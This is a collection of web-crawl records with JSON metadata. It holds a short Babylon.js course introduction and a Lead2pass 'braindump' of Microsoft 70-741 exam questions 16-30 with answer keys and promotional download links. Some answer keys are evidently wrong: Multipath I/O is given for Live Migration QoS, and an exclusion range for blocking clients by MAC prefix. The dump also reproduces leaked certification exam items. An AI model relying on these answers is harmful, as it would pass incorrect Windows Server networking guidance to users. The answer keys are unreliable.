{ "red_pajama_v2": { "ccnet_original_length": 3132, "ccnet_original_nlines": 72, "rps_doc_curly_bracket": 0.001277139992453158, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.27542373538017273, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0381355881690979, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.30790960788726807, "rps_doc_frac_unique_words": 0.517241358757019, "rps_doc_mean_word_length": 5.2137932777404785, "rps_doc_num_sentences": 49, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.965462684631348, "rps_doc_word_count": 435, "rps_doc_frac_chars_dupe_10grams": 0.0476190485060215, "rps_doc_frac_chars_dupe_5grams": 0.10758376866579056, "rps_doc_frac_chars_dupe_6grams": 0.08553791791200638, "rps_doc_frac_chars_dupe_7grams": 0.08553791791200638, "rps_doc_frac_chars_dupe_8grams": 0.08553791791200638, "rps_doc_frac_chars_dupe_9grams": 0.08553791791200638, "rps_doc_frac_chars_top_2gram": 0.028218690305948257, "rps_doc_frac_chars_top_3gram": 0.02469136007130146, "rps_doc_frac_chars_top_4gram": 0.028218690305948257, "rps_doc_books_importance": -285.5746765136719, "rps_doc_books_importance_length_correction": -285.5746765136719, "rps_doc_openwebtext_importance": -182.13446044921875, "rps_doc_openwebtext_importance_length_correction": -182.13446044921875, "rps_doc_wikipedia_importance": -126.38320922851562, "rps_doc_wikipedia_importance_length_correction": -126.38320922851562 }, "fasttext": { "dclm": 0.6967352032661438, "english": 0.8688462972640991, "fineweb_edu_approx": 2.200371265411377, "eai_general_math": 0.2543569803237915, "eai_open_web_math": 0.4407052993774414, "eai_web_code": 0.38154375553131104 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "4", "label": "Advanced Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,017,580,562,261,047,800
About This Course The Babylon 101 course will lead you on a step by step journey to produce scenes that use some of the basic features of the Babylon Engine. There will be references for more details at each stage. So you can get started without any fuss the course starts out with the First Step by showing you how to use the Playground to create a scene. Throughout the course you will find examples built in the Playground ready for you to explore and edit. You can of course write your own code in the Playground, just click on the NEW button, edit and write your code and hit the RUN button. Playground example - In this playground example, you will see that this scene contains a camera, lights and a sphere. A sphere being one of the shapes readily available for you to add into your scene. Many more shapes, or meshes as they should be called, are available for you to easily create. In addition to the well known fixed shapes such as boxes, sphere and cylinders it is also possible to create shapes using techniques such as extrusion and lathing. The next two steps of the course show how to add some of these. Having added shapes to your scene you will want to know how to position and rotate them so that is next. So far the shapes are all bland and grey so next it is onto adding color and texture to the meshes in the form of materials. How do you want to view your scene, from a distance orbiting around it or do you want to immerse yourself into it and do a walkthrough as in a first person shooter? Choose the correct camera and you choose your view, just move onto the next step to see how this is done. The way you light a scene can affect the atmosphere. Checkout the range of lights by moving onto the next section. Starter steps completed and you are walking tall so now is the time for some dynamism. Get those elements of your scene animated but watch out for collisions between the camera and a mesh and between meshes themselves. Or perhaps you want the mouse pointer to collide with a mesh so you can pick it. All possible by following the next set of steps. Want to know if one mesh is in the line of sight of another or if they are on a straight path to collision? Cast a ray and see what it hits. Sometimes all it takes to enliven your scene is a simple animated 2D character in your scene, so the next step will introduce you to sprites and sprite animation. Sprites can also be used to form particles to produce effects such as fire, smoke, glitter and faery dust. Learning about particles is next. Other improvements to your scene environment are next. They include adding sky or fog to your scene followed by enhancing the landscape by producing a ground with hills and valleys and finally how about some shadows for those meshes helping to anchor them to the ground. And now let's take the First Step
{ "url": "https://doc.babylonjs.com/babylon101/about101", "source_domain": "doc.babylonjs.com", "snapshot_id": "crawl=CC-MAIN-2020-24", "warc_metadata": { "Content-Length": "8603", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:HPKYWANDV6MSSK572PDDLKWD3RFJ6TGM", "WARC-Concurrent-To": "<urn:uuid:684e5027-56dc-456f-a507-e34d2cfd1d1a>", "WARC-Date": "2020-06-02T05:13:07Z", "WARC-IP-Address": "104.248.60.43", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:AT6TPY3DSTUJTNAMQOZQB4JP6JDUZHDY", "WARC-Record-ID": "<urn:uuid:1ff0d281-9c17-4391-8ad5-c030f6765453>", "WARC-Target-URI": "https://doc.babylonjs.com/babylon101/about101", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:47250734-db86-4d33-9963-9d7c4b67b1d4>" }, "warc_info": "isPartOf: CC-MAIN-2020-24\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-84.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 18, 19, 20, 217, 218, 600, 601, 622, 623, 1125, 1126, 1356, 1357, 1743, 1744, 2234, 2235, 2539, 2540, 2811, 2812 ], "line_end_idx": [ 18, 19, 20, 217, 218, 600, 601, 622, 623, 1125, 1126, 1356, 1357, 1743, 1744, 2234, 2235, 2539, 2540, 2811, 2812, 2845 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2845, "ccnet_original_nlines": 21, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.554973840713501, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.006980800069868565, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.07329843193292618, "rps_doc_frac_unique_words": 0.41807910799980164, "rps_doc_mean_word_length": 4.259887218475342, "rps_doc_num_sentences": 28, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.8348069190979, "rps_doc_word_count": 531, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.03183024004101753, "rps_doc_frac_chars_top_3gram": 0.010610080324113369, "rps_doc_frac_chars_top_4gram": 0.01503095030784607, "rps_doc_books_importance": -271.3623352050781, "rps_doc_books_importance_length_correction": -271.3623352050781, "rps_doc_openwebtext_importance": -162.06851196289062, "rps_doc_openwebtext_importance_length_correction": -162.06851196289062, "rps_doc_wikipedia_importance": -158.9323272705078, "rps_doc_wikipedia_importance_length_correction": -158.9323272705078 }, "fasttext": { "dclm": 0.0666801929473877, "english": 0.95353102684021, "fineweb_edu_approx": 2.468200445175171, "eai_general_math": 0.5860668420791626, "eai_open_web_math": 0.16884946823120117, "eai_web_code": 0.11691827327013016 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "794.8", "labels": { "level_1": "Arts", "level_2": "Amusements and Recreation", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "17", "label": "Product Page" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,169,173,880,134,633,000
[2017 New] Free Lead2pass Microsoft 70-741 PDF Dumps With New Update Exam Questions (16-30) 2017 May Microsoft Official New Released 70-741 Dumps in Lead2pass.com! 100% Free Download! 100% Pass Guaranteed! Lead2pass is one of the leading exam preparation material providers. Its updated 70-741 braindumps in PDF can ensure most candidates pass the exam without too much effort. If you are struggling for the 70-741 exam, it will be a wise choice that get help from Lead2pass. Following questions and answers are all new published by Microsoft Official Exam Center: http://www.lead2pass.com/70-741.html QUESTION 16 You have an Active Directory domain named Contoso.com. The domain contains servers named Server1 and Server2 that run Windows Server 2016. You install the Remote Access server role on Server1. You install the Network Policy and Access Services server role on Server2. You need to configure Server1 to use Server2 as a RADIUS server. What should you do? A.    From the Connection Manager Administration Kit, create a Connection Manager profile. B.    From Routing and Remote Access, configure the authentication provider. C.    From Active Directory Users and Computers, modify the Delegation settings of the Server1 computer account. D.    From Server Manager, create an Access Policy. Answer: D Explanation: http://www.nyazit.com/configure-network-policy-server-2016/ QUESTION 17 Your company owns the public Internet IP address range of 131.107.20.0 to 131.107.20.255. You need to create a subnet that supports four hosts. The solution must minimize the number of addresses available to the subnet. Which subnet should you use? A.    131.107.20.16/28 B.    131.107.20.16/30 C.    131.107.20.0/29 D.    131.107.20.0 with subnet mask 255.255.255.224 Answer: C Explanation: http://jodies.de/ipcalc?host=131.107.20.0&mask1=29&mask2= QUESTION 18 You have an application named App1. App1 is distributed to multiple Hyper-V virtual machines in a multitenant environment. You need to ensure that the traffic is distributed evenly among the virtual machines that host App1. What should you include in the environment? A.    Network Controller and Windows Server Network Load Balancing (NLB) nodes B.    an RAS Gateway and Windows Server Software Load Balancing (SLB) nodes C.    an RAS Gateway and Windows Server Network Load Balancing (NLB) nodes D.    Network Controller and Windows Server Software Load Balancing (SLB) nodes Answer: B Explanation: https://technet.microsoft.com/en-us/library/mt403307(v=ws.11).aspx#bkmk_slb QUESTION 19 Your company has 10 offices. Each office has a local network that contains several Hyper-V hosts that run Windows Server 2016. All of the offices are connected by high speed, low latency WAN links. You need to ensure that you can use QoS policies for Live Migration traffic between the offices. Which component should you install? A.    the Data Center Bridging feature B.    the Routing role service C.    the Network Controller server role D.    the Multipath I/O feature E.    the Canary Network Diagnostics feature Answer: D Explanation: https://technet.microsoft.com/en-us/library/jj735302(v=ws.11).aspx QUESTION 20 You have a server that is configured as a hosted BranchCache server. You discover that a Service Connection Point (SCP) is missing for the BranchCache server. What should you run to register the SCP? A.    setspn.exe B.    Reset-BC C.    ntdsutil.exe D.    Enable-BCHostedServer Answer: D Explanation: https://technet.microsoft.com/en-us/library/jj862376(v=ws.11).aspx QUESTION 21 Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may be correct for more than one question in the series. Each question is independent of the other questions in this series. Information and details provided in a question apply only to that question. You have a DHCP server named Server1 that has an IPv4 scope named Scope1. Users report that when they turn on their client computers, it takes a long time to access the network. You validate that it takes a long time for the computers to receive an IP address from Server1. You monitor the network traffic and discover that Server1 issues five ping commands on the network before leasing an IP address. You need to reduce the amount of time it takes for the computers to receive an IP address. What should you do? A.    From the properties of Scope1, modify the Conflict detection attempts setting. B.    From the properties of Scope1, configure Name Protection. C.    From the properties of IPv4, configure the bindings. D.    From IPv4, create a new filter. E.    From the properties of Scope1, create an exclusion range. F.    From IPv4, run the DHCP Policy Configuration Wizard. G.    From Control Panel, modify the properties of Ethernet. H.    From Scope1, create a reservation. Answer: A Explanation: https://technet.microsoft.com/en-us/library/ee941125(v=ws.10).aspx QUESTION 22 Your network contains an Active Directory forest named contoso.com. The functional level of the forest is Windows Server 2012. The forest contains five domain controllers and five VPN servers that run Windows Server 2016. Five hundred users connect to the VPN servers daily. You need to configure a new server named Server1 as a RADIUS server. What should you do first? A.    On Server1, deploy the Remote Access server role. B.    On Server1, deploy the Network Policy and Access Services role. C.    On a domain controller, set the forest functional level to Windows Server 2016. D.    On each VPN server, run the New-NpsRadiusClient cmdlet. Answer: B Explanation: http://www.nyazit.com/configure-network-policy-server-2016/ QUESTION 23 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You network contains an Active Directory domain named contoso.com. The domain contains a DHCP server named Server2 than runs Windows Server 2016. Users report that their client computers fail to obtain an IP address. You open the DHCP console as shown in the Exhibit. (Click the Exhibit button.)   Scope1 has an address range of 172.16.0.10 to 172.16.0.100 and a prefix length of 23 bits. You need to ensure that all of the client computers on the network can obtain an IP address from Server2. Solution: You run the Reconcile-DhcpServerv4IPRecord cmdlet. Does this meet the goal? A.    Yes B.    No Answer: B Explanation: https://technet.microsoft.com/itpro/powershell/windows/dhcp-server/set-dhcpserverv4scope QUESTION 24 You have two Hyper-V hosts named Server1 and Server2 that run Windows Server 2016. Server1 and Server2 are connected to the same network. On Server1 and Server2, you create an external network switch named Switch1. You have the virtual machine shown in the following table.   All three virtual machines are connected to Switch1. You need to prevent applications in VM3 from being able to capture network traffic from VM1 or VM2. The solution must ensure that VM1 retains network connectivity. What should you do? A.    Configure network virtualization for VM1 and VM2. B.    Modify the subnet mask of VM1 and VM2. C.    On Server2, configure the VLAN ID setting of Switch1. D.    On Server2, create an external switch and connect VM3 to the switch. Answer: A Explanation: https://blogs.technet.microsoft.com/networking/2016/10/26/network-virtualization-with- ws2016-sdn/ QUESTION 25 You have a server named Server1 that runs Windows Server 2016. Server1 is a Hyper-V host that hosts a virtual machine named VM1. Server1 has three network adapter cards that are connected to virtual switches named vSwitch1, vSwitch2 and vSwitch3. You configure NIC Teaming on VM1 as shown in the exhibit. (Click the Exhibit button.)   You need to ensure that VM1 will retain access to the network if a physical network adapter card fails on Server1. What should you do? A.    From Windows PowerShell on VM1, run the Set-VmNetworkAdapterTeamMapping cmdlet. B.    From Hyper-V Manager on Server1, modify the settings on VM1. C.    From Windows PowerShell on Server1, run the Set- VmNetworkAdapterFailoverConfiguration cmdlet. D.    From the properties of the NIC team on VM1, add the adapter named Ethernet to the NIC team. Answer: D Explanation: https://technet.microsoft.com/en-us/windows-server-docs/networking/technologies/nic- teaming/nic-teaming QUESTION 26 Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may be correct for more than one question in the series. Each question is independent of the other questions in this series. Information and details provided in a question apply only to that question. You have a DHCP server named Server1 that has three network cards. Each network card is configured to use a static IP address. You need to prevent all client computers that have physical address beginning with 98-5F from leasing an IP address from Server1. What should you do? A.    From the properties of Scope1, modify the Conflict detection attempts setting. B.    From the properties of Scope1, configure Name Protection. C.    From the properties of IPv4, configure the bindings. D.    From IPv4, create a new filter. E.    From the properties of Scope1, create an exclusion range. F.    From IPv4, run the DHCP Policy Configuration Wizard. G.    From Control Panel, modify the properties of Ethernet. H.    From Scope1, create a reservation. Answer: E Explanation: https://technet.microsoft.com/en-us/library/ee941125(v=ws.10).aspx QUESTION 27 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You network contains an Active Directory domain named contoso.com. The domain contains a DHCP server named Server1. All client computers run Windows 10 and are configured as DHCP clients. Your helpdesk received calls today from users who failed to access the network from their Windows 10 computer. You open the DHCP console as shown in the exhibit. (Click the Exhibit button.)   You need to ensure that all of the Windows 10 computers can receive a DHCP lease. Solution: You increase the scope size. Does this meet the goal? A.    Yes B.    No Answer: B Explanation: https://technet.microsoft.com/en-us/library/dd183581(v=ws.10).aspx QUESTION 28 Note: This question is part of a series of questions that use the same scenario. For your convenience, the scenario is repeated in each question. Each question presents a different goal and answer choices, but the text of the scenario is exactly the same in each question in this series. Your network contains an Active Directory domain named contoso.com. The functional level of the domain is Windows Server 2012. The network uses an address space of 192.168.0.0/16 and contains multiple subnets. The network is not connected to the Internet. The domain contains three servers configured as shown in the following table.   Client computers obtain TCP/IP settings from Server3. You add a second network adapter to Server2. You connect the new network adapter to the Internet. You install the Routing role service on Server2. Server1 has four DNS zones configured as shown in the following table.   You need to ensure that when a computer is removed from the network, the associated records are deleted automatically after 15 days. Which two actions should you perform? Each correct answer presents part of the solution. A.    Create a scheduled task that runs the Remove-Computer cmdlet. B.    Modify the Zone Aging/Scavenging Properties of the zone. C.    Modify the Time to live (TTL) value of the start of authority (SOA) record. D.    Set the Scavenging period of Server1. E.    Modify the Expires after value of the start of authority (SOA) record. Answer: BD Explanation: https://technet.microsoft.com/en-us/library/cc771362(v=ws.10).aspx QUESTION 29 You have a server named Server1 that runs Windows Server 2016. Server1 has the following routing table.   What will occur when Server1 attempts to connect to a host that has an IP address of 172.20.10.50? A.    Server1 will attempt to connect directly to 172.20.10.50. B.    Server1 will route the connection to 10.10.0.2. C.    Server1 will silently drop the connection attempt. D.    Server1 will route the connection to 192.168.2.1. Answer: D Explanation: http://www.techrepublic.com/article/understanding-routing-tables/ QUESTION 30 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You network contains an Active Directory domain named contoso.com. The domain contains a member server named Server1 that runs Windows Server 2016 and has the DNS Server role installed. Automatic scavenging of state records is enabled and the scavenging period is set to 10 days. All client computers dynamically register their names in the contoso.com DNS zone on Server1. You discover that the names of multiple client computers that were removed from the network several weeks ago can still be resolved. You need to configure Server1 to automatically remove the records of the client computers that have been offline for more than 10 days. Solution: You set the Time to live (TTL) value of all of the records in the zone. Does this meet the goal? A.    Yes B.    No Answer: B Explanation: https://technet.microsoft.com/en-us/library/cc958972.aspx There is no doubt that Lead2pass is the top IT certificate exam material provider. All the braindumps are the latest and tested by senior Microsoft lecturers and experts. Get the 70-741 exam braindumps in Lead2pass, and there would be no suspense to pass the exam. 70-741 new questions on Google Drive: https://drive.google.com/open?id=0B3Syig5i8gpDOUxvX1RiWWt1b0E 2017 Microsoft 70-741 exam dumps (All 63 Q&As) from Lead2pass: http://www.lead2pass.com/70-741.html [100% Exam Pass Guaranteed]
{ "url": "https://www.passbraindumps.com/2017-new-free-lead2pass-microsoft-70-741-pdf-dumps-with-new-update-exam-questions-16-30.html", "source_domain": "www.passbraindumps.com", "snapshot_id": "CC-MAIN-2024-38", "warc_metadata": { "Content-Length": "179501", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:ZILY4RB5I2ZXBQJBQXEQ2OTDD3WA6CSO", "WARC-Concurrent-To": "<urn:uuid:9815cb16-dbef-4839-a2c6-b524ea1be4a7>", "WARC-Date": "2024-09-20T23:22:13Z", "WARC-IP-Address": "172.67.186.2", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:ZYBTTAYJDM2GX2KJ73MUXTLCCP7DTVF7", "WARC-Record-ID": "<urn:uuid:979a03f9-12bb-49ee-a58c-e224bb6273e6>", "WARC-Target-URI": "https://www.passbraindumps.com/2017-new-free-lead2pass-microsoft-70-741-pdf-dumps-with-new-update-exam-questions-16-30.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:3bd17504-0312-4357-ab49-b31050b80105>" }, "warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-217\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 92, 93, 165, 166, 208, 209, 479, 480, 606, 607, 619, 674, 758, 812, 887, 952, 972, 973, 1064, 1141, 1254, 1306, 1307, 1317, 1330, 1390, 1391, 1403, 1493, 1547, 1623, 1652, 1653, 1676, 1699, 1721, 1773, 1774, 1784, 1797, 1855, 1856, 1868, 1904, 1991, 2092, 2136, 2137, 2216, 2292, 2367, 2447, 2448, 2458, 2471, 2547, 2548, 2560, 2687, 2758, 2855, 2891, 2892, 2931, 2962, 3003, 3035, 3080, 3081, 3091, 3104, 3171, 3172, 3184, 3253, 3343, 3384, 3385, 3402, 3417, 3436, 3464, 3465, 3475, 3488, 3555, 3556, 3568, 3884, 3885, 3959, 4063, 4159, 4288, 4379, 4399, 4400, 4485, 4549, 4608, 4646, 4710, 4769, 4830, 4871, 4872, 4882, 4895, 4962, 4963, 4975, 5043, 5102, 5197, 5250, 5319, 5345, 5346, 5402, 5472, 5558, 5620, 5621, 5631, 5644, 5704, 5705, 5717, 6001, 6152, 6153, 6220, 6299, 6370, 6449, 6450, 6452, 6453, 6544, 6650, 6711, 6736, 6737, 6747, 6756, 6757, 6767, 6780, 6869, 6870, 6882, 6965, 7020, 7097, 7156, 7157, 7159, 7160, 7213, 7313, 7377, 7397, 7398, 7454, 7499, 7559, 7634, 7635, 7645, 7658, 7757, 7758, 7770, 7899, 8017, 8103, 8104, 8106, 8107, 8222, 8242, 8243, 8329, 8396, 8497, 8595, 8596, 8606, 8619, 8724, 8725, 8737, 9053, 9054, 9181, 9311, 9331, 9332, 9417, 9481, 9540, 9578, 9642, 9701, 9762, 9803, 9804, 9814, 9827, 9894, 9895, 9907, 10191, 10342, 10343, 10410, 10531, 10642, 10721, 10722, 10724, 10725, 10807, 10846, 10871, 10872, 10882, 10891, 10892, 10902, 10915, 10982, 10983, 10995, 11283, 11410, 11411, 11494, 11540, 11618, 11619, 11621, 11622, 11676, 11721, 11774, 11823, 11894, 11895, 11897, 11898, 12031, 12120, 12121, 12189, 12252, 12334, 12378, 12455, 12456, 12467, 12480, 12547, 12548, 12560, 12664, 12665, 12667, 12668, 12767, 12768, 12832, 12886, 12943, 12999, 13000, 13010, 13023, 13089, 13090, 13102, 13386, 13537, 13538, 13605, 13724, 13818, 13912, 14045, 14181, 14263, 14288, 14289, 14299, 14308, 14309, 14319, 14332, 14390, 14391, 14656, 14657, 14757, 14758, 14821, 14822 ], "line_end_idx": [ 92, 93, 165, 166, 208, 209, 479, 480, 606, 607, 619, 674, 758, 812, 887, 952, 972, 973, 1064, 1141, 1254, 1306, 1307, 1317, 1330, 1390, 1391, 1403, 1493, 1547, 1623, 1652, 1653, 1676, 1699, 1721, 1773, 1774, 1784, 1797, 1855, 1856, 1868, 1904, 1991, 2092, 2136, 2137, 2216, 2292, 2367, 2447, 2448, 2458, 2471, 2547, 2548, 2560, 2687, 2758, 2855, 2891, 2892, 2931, 2962, 3003, 3035, 3080, 3081, 3091, 3104, 3171, 3172, 3184, 3253, 3343, 3384, 3385, 3402, 3417, 3436, 3464, 3465, 3475, 3488, 3555, 3556, 3568, 3884, 3885, 3959, 4063, 4159, 4288, 4379, 4399, 4400, 4485, 4549, 4608, 4646, 4710, 4769, 4830, 4871, 4872, 4882, 4895, 4962, 4963, 4975, 5043, 5102, 5197, 5250, 5319, 5345, 5346, 5402, 5472, 5558, 5620, 5621, 5631, 5644, 5704, 5705, 5717, 6001, 6152, 6153, 6220, 6299, 6370, 6449, 6450, 6452, 6453, 6544, 6650, 6711, 6736, 6737, 6747, 6756, 6757, 6767, 6780, 6869, 6870, 6882, 6965, 7020, 7097, 7156, 7157, 7159, 7160, 7213, 7313, 7377, 7397, 7398, 7454, 7499, 7559, 7634, 7635, 7645, 7658, 7757, 7758, 7770, 7899, 8017, 8103, 8104, 8106, 8107, 8222, 8242, 8243, 8329, 8396, 8497, 8595, 8596, 8606, 8619, 8724, 8725, 8737, 9053, 9054, 9181, 9311, 9331, 9332, 9417, 9481, 9540, 9578, 9642, 9701, 9762, 9803, 9804, 9814, 9827, 9894, 9895, 9907, 10191, 10342, 10343, 10410, 10531, 10642, 10721, 10722, 10724, 10725, 10807, 10846, 10871, 10872, 10882, 10891, 10892, 10902, 10915, 10982, 10983, 10995, 11283, 11410, 11411, 11494, 11540, 11618, 11619, 11621, 11622, 11676, 11721, 11774, 11823, 11894, 11895, 11897, 11898, 12031, 12120, 12121, 12189, 12252, 12334, 12378, 12455, 12456, 12467, 12480, 12547, 12548, 12560, 12664, 12665, 12667, 12668, 12767, 12768, 12832, 12886, 12943, 12999, 13000, 13010, 13023, 13089, 13090, 13102, 13386, 13537, 13538, 13605, 13724, 13818, 13912, 14045, 14181, 14263, 14288, 14289, 14299, 14308, 14309, 14319, 14332, 14390, 14391, 14656, 14657, 14757, 14758, 14821, 14822, 14886 ] }
{ "red_pajama_v2": { "ccnet_original_length": 14886, "ccnet_original_nlines": 306, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2750161290168762, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.05551968887448311, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.24435119330883026, "rps_doc_frac_unique_words": 0.21643467247486115, "rps_doc_mean_word_length": 5.260889053344727, "rps_doc_num_sentences": 346, "rps_doc_symbol_to_word_ratio": 0.00032279000151902437, "rps_doc_unigram_entropy": 5.287903308868408, "rps_doc_word_count": 2227, "rps_doc_frac_chars_dupe_10grams": 0.26758280396461487, "rps_doc_frac_chars_dupe_5grams": 0.39475929737091064, "rps_doc_frac_chars_dupe_6grams": 0.36283713579177856, "rps_doc_frac_chars_dupe_7grams": 0.3418402075767517, "rps_doc_frac_chars_dupe_8grams": 0.32383066415786743, "rps_doc_frac_chars_dupe_9grams": 0.28490951657295227, "rps_doc_frac_chars_top_2gram": 0.007255040109157562, "rps_doc_frac_chars_top_3gram": 0.009986340068280697, "rps_doc_frac_chars_top_4gram": 0.014595430344343185, "rps_doc_books_importance": -1490.8624267578125, "rps_doc_books_importance_length_correction": -1490.8624267578125, "rps_doc_openwebtext_importance": -743.6348876953125, "rps_doc_openwebtext_importance_length_correction": -743.6348876953125, "rps_doc_wikipedia_importance": -673.4414672851562, "rps_doc_wikipedia_importance_length_correction": -673.4414672851562 }, "fasttext": { "dclm": 0.35470885038375854, "english": 0.8413800001144409, "fineweb_edu_approx": 2.2753732204437256, "eai_general_math": 0.793317973613739, "eai_open_web_math": 0.16337502002716064, "eai_web_code": 0.19632595777511597 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.076", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.44", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "6", "label": "Promotional/Advertisement" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "17", "label": "Product Page" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,312,199,153,809,532,000
